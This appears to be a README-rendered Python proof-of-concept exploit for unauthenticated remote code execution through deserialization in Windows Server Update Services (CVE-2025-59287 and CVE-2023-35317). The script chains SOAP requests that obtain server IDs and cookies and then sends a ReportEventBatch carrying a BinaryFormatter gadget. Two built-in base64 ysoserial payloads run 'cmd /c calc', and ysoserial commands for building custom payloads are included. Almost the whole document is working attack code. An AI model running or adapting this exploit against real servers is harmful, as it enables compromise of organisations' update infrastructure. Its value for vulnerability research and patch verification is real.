README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2023-35317 - Exploits CVE-2023-35317 and CVE-2025-5928 Deserialization in Microsoft Windows Update Service
Editer: Github.com/M507
ORIGINAL CODE /CREDITS: https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
Other used resources:
- https://github.com/tecxx/CVE-2025-59287-WSUS
- https://github.com/pwntester/ysoserial.net
- https://code-white.com/blog/wsus-cve-2025-59287-analysis/
- https://hawktrace.com/blog/CVE-2025-59287-UNAUTH
- https://hawktrace.com/blog/CVE-2025-59287
Tested on: Ubuntu 22.04.6 LTS and Linux Kali-RedTeam 5.16.0-kali7-amd64
"""
import argparse
import datetime
import os
import sys
import uuid
import requests
from xml.etree import ElementTree as ET
from xml.sax.saxutils import escape as xml_escape
requests.packages.urllib3.disable_warnings( # type: ignore[attr-defined]
requests.packages.urllib3.exceptions.InsecureRequestWarning # type: ignore[attr-defined]
)
DEBUG = False
class CheckerError(RuntimeError):
"""Raised when an expected operation fails."""
def _print(message: str) -> None:
"""Mimic PowerShell Write-Host output.
All lines that start with "[DEBUG]" are only printed when --debug is used.
"""
if message.startswith("[DEBUG]") and not DEBUG:
return
sys.stdout.write(f"{message}\n")
sys.stdout.flush()
def get_auth_cookie(target: str, server_id: str | None = None, dns_name: str = "bugcrowd.local") -> str | None:
if not server_id:
server_id = str(uuid.uuid4())
url = f"{target.rstrip('/')}/SimpleAuthWebService/SimpleAuth.asmx"
_print(f"[DEBUG] get_reporting_cookie -> url: {url}")
headers = {
"SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"',
"Content-Type": "text/xml",
}
soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>{dns_name}</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>"""
try:
response = requests.post(
url,
data=soap_body,
headers=headers,
timeout=300,
verify=False,
)
_print(f"[DEBUG] send_test_event status: {response.status_code}")
_print(f"[DEBUG] send_test_event body: {response.text.strip()}")
if response.status_code == 200:
xml_response = ET.fromstring(response.content)
cookie_node = xml_response.find(".//{*}CookieData")
if cookie_node is not None and cookie_node.text:
_print(f"[+] Using ID: {server_id}")
return cookie_node.text
except requests.RequestException as exc:
_print(f"[-] Auth cookie error: {exc}")
return None
def get_server_id(target: str) -> str:
url = f"{target.rstrip('/')}/ReportingWebService/ReportingWebService.asmx"
_print(f"[DEBUG] get_reporting_cookie -> url: {url}")
headers = {
"SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
"Content-Type": "text/xml",
}
soap_body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>"""
try:
response = requests.post(
url,
data=soap_body,
headers=headers,
timeout=300,
verify=False,
)
_print(f"[DEBUG] send_test_event status: {response.status_code}")
_print(f"[DEBUG] send_test_event body: {response.text.strip()}")
if response.status_code == 200:
xml_response = ET.fromstring(response.content)
server_node = xml_response.find(".//{*}ServerId")
if server_node is not None and server_node.text:
_print(f"[+] Server ID: {server_node.text}")
return server_node.text
except requests.RequestException as exc:
_print(f"[-] Server ID error: {exc}")
fallback_id = str(uuid.uuid4())
_print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id
def get_reporting_cookie(target: str, auth_cookie: str) -> dict[str, str] | None:
url = f"{target.rstrip('/')}/ClientWebService/Client.asmx"
_print(f"[DEBUG] get_reporting_cookie -> url: {url}")
headers = {
"SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"',
"Content-Type": "text/xml",
}
time_now = datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")
soap_body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{time_now}</lastChange>
<currentTime>{time_now}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>"""
try:
response = requests.post(
url,
data=soap_body,
headers=headers,
timeout=300,
verify=False,
)
_print(f"[DEBUG] send_test_event status: {response.status_code}")
_print(f"[DEBUG] send_test_event body: {response.text.strip()}")
if response.status_code == 200:
xml_response = ET.fromstring(response.content)
cookie_data: dict[str, str] = {}
expiration_node = xml_response.find(".//{*}Expiration")
if expiration_node is not None and expiration_node.text:
cookie_data["expiration"] = expiration_node.text
encrypted_data_node = xml_response.find(".//{*}EncryptedData")
if encrypted_data_node is not None and encrypted_data_node.text:
cookie_data["encrypted_data"] = encrypted_data_node.text
return cookie_data
except requests.RequestException:
pass
return None
def send_test_event(target: str, cookie: dict[str, str], payload: str) -> dict[str, str | bool]:
url = f"{target.rstrip('/')}/ReportingWebService/ReportingWebService.asmx"
target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
time_now = datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
pop_calc = (
'<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" '
'xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
"<SOAP-ENV:Body>"
'<a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">'
"<DataSet.RemotingFormat xsi:type=\"a1:SerializationFormat\" xmlns:a1=\"http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089\">Binary</DataSet.RemotingFormat>"
'<DataSet.DataSetName id="ref-3"></DataSet.DataSetName>'
'<DataSet.Namespace href="#ref-3"/>'
'<DataSet.Prefix href="#ref-3"/>'
"<DataSet.CaseSensitive>false</DataSet.CaseSensitive>"
"<DataSet.LocaleLCID>1033</DataSet.LocaleLCID>"
"<DataSet.EnforceConstraints>false</DataSet.EnforceConstraints>"
'<DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/>'
"<DataSet.Tables.Count>1</DataSet.Tables.Count>"
'<DataSet.Tables_0 href="#ref-4"/></a1:DataSet>'
'<SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">'
f"{payload}"
"</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>"
)
escaped_payload = xml_escape(pop_calc)
soap_body = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{time_now}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{time_now}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escaped_payload}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>"""
headers = {
"Content-Type": "text/xml",
"Accept": "text/xml",
"User-Agent": "Windows-Update-Agent",
"SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
}
try:
response = requests.post(
url,
data=soap_body,
headers=headers,
timeout=300,
verify=False,
)
_print(f"[DEBUG] send_test_event status: {response.status_code}")
_print(f"[DEBUG] send_test_event body: {response.text.strip()}")
if response.status_code == 200 and "true" in response.text:
return {
"Success": True,
"EventId": event_instance_id,
"TargetSid": target_sid,
}
return {"Success": False}
except requests.RequestException as exc:
_print(f"[DEBUG] Exception: {exc}")
return {"Success": False}
def _prepare_messages() -> None:
pass
STATIC_YSO_PAYLOAD = """AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNtZCAvYyBjYWxjIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs="""
STATIC_YSO_PAYLOAD_2023 = """AAEAAAD/////AQAAAAAAAAAMAgAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAAIVN5c3RlbS5XZWIuU2VjdXJpdHkuUm9sZVByaW5jaXBhbAEAAAAqU3lzdGVtLlNlY3VyaXR5LkNsYWltc1ByaW5jaXBhbC5JZGVudGl0aWVzAQIAAAAGAwAAAOQJQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXl3VThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE1UWWlQejROQ2p4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlFbHpTVzVwZEdsaGJFeHZZV1JGYm1GaWJHVmtQU0pHWVd4elpTSWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkMmx1Wm5ndk1qQXdOaTk0WVcxc0wzQnlaWE5sYm5SaGRHbHZiaUlnZUcxc2JuTTZjMlE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpPMkZ6YzJWdFlteDVQVk41YzNSbGJTSWdlRzFzYm5NNmVEMGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd2lQZzBLSUNBOFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS0lDQWdJRHh6WkRwUWNtOWpaWE56UGcwS0lDQWdJQ0FnUEhOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUNBZ0lDQThjMlE2VUhKdlkyVnpjMU4wWVhKMFNXNW1ieUJCY21kMWJXVnVkSE05SWk5aklGeGpiV1FnTDJNZ1kyRnNZeVp4ZFc5ME95QXRieUJpWVhObE5qUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs="""
def select_payload(cve: str, payload: str | None) -> str:
"""
Decide which payload to send based on user input and CVE selection.
- If --payload is provided, use it directly.
- If not, choose the static blob for the selected CVE:
* CVE-2025-59287 -> STATIC_YSO_PAYLOAD
* CVE-2023-35317 -> STATIC_YSO_PAYLOAD_2023
"""
if payload:
_print("[+] Using user-supplied payload")
_print(f"Payload length: {len(payload)} characters")
return payload
if cve == "CVE-2025-59287":
_print("[+] Using built-in static payload for CVE-2025-59287")
_print(f"Payload length: {len(STATIC_YSO_PAYLOAD)} characters")
return STATIC_YSO_PAYLOAD
if cve == "CVE-2023-35317":
_print("[+] Using built-in static payload for CVE-2023-35317")
_print(f"Payload length: {len(STATIC_YSO_PAYLOAD_2023)} characters")
return STATIC_YSO_PAYLOAD_2023
# argparse should prevent this, but keep a safety net.
raise CheckerError(f"Unsupported CVE selection: {cve}")
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"WSUS exploit helper for CVE-2023-35317 and CVE-2025-59287.\n\n"
"Use this script to send a crafted ReportingWebService event containing a "
"deserialization gadget payload to a vulnerable WSUS server."
),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Examples:\n"
" python3 PoC.py --target-url http://wsus.local:8530 \\\n"
" --dns-name bugcrowd.local --cve CVE-2025-59287\n\n"
" python3 PoC.py --target-url http://wsus.local:8530 \\\n"
" --dns-name bugcrowd.local --cve CVE-2023-35317 \\\n"
" --payload BASE64_YSOSERIAL_BLOB\n\n"
" python3 PoC.py --target-url http://wsus.local:8530 \\\n"
" --dns-name bugcrowd.local --cve CVE-2025-59287 \\\n"
" --random --debug\n"
"To generate the payload, use the following command:\n"
"For CVE-2025-59287: .\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c \"cmd /c calc\" -o base64:\n"
"For CVE-2023-35317: .\ysoserial.exe -g RolePrincipal -f BinaryFormatter -c \"cmd /c calc\" -o base64\n"
),
)
parser.add_argument(
"--target-url",
required=True,
help="Target WSUS server base URL, e.g. http://HOSTNAME:8530 (required)",
)
parser.add_argument(
"--dns-name",
default="bugcrowd.local",
help="Client DNS name used in SOAP requests (what WSUS will see as the client hostname)",
)
parser.add_argument(
"--random",
action="store_true",
help="Prefix --dns-name with a random subdomain so each run appears as a new client",
)
parser.add_argument(
"--payload",
help=(
"Optional base64-encoded ysoserial payload. If omitted, a built-in payload "
"matching the selected --cve is used."
),
)
parser.add_argument(
"--cve",
required=True,
choices=["CVE-2023-35317", "CVE-2025-59287"],
help=(
"CVE to target. Controls which built-in payload is used when --payload is not "
"provided (CVE-2023-35317 or CVE-2025-59287)."
),
)
parser.add_argument(
"--debug",
action="store_true",
help="Enable verbose debug logging (prints all lines starting with [DEBUG])",
)
return parser.parse_args()
def main() -> None:
_prepare_messages()
args = parse_args()
global DEBUG
DEBUG = args.debug
target_url = args.target_url
dns_name = args.dns_name
cve = args.cve
payload_arg = args.payload
if args.random:
dns_name = f"{uuid.uuid4().hex[:12]}.{dns_name.lstrip('.')}"
try:
output = select_payload(cve, payload_arg)
except CheckerError as exc:
_print(f"[-] Payload selection error: {exc}")
sys.exit(1)
_print("")
_print("[+] Getting Server ID...")
server_id = get_server_id(target_url)
_print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target_url, server_id, dns_name=dns_name)
if not auth_cookie:
_print("[-] Failed to get auth cookie")
sys.exit(1)
cookie = get_reporting_cookie(target_url, auth_cookie)
if not cookie:
_print("[-] Failed to get reporting cookie")
sys.exit(1)
_print("[+] Sending event with payload...")
result = send_test_event(target_url, cookie, output)
if result.get("Success"):
_print("[+] SUCCESS!")
if cve == "CVE-2023-35317":
_print("[!] RCE will trigger when you open the WSUS console!")
_print(f"[!] to cleanup remove the {dns_name} computer from WSUS")
else:
_print("[-] Failed to send Test event")
if __name__ == "__main__":
main()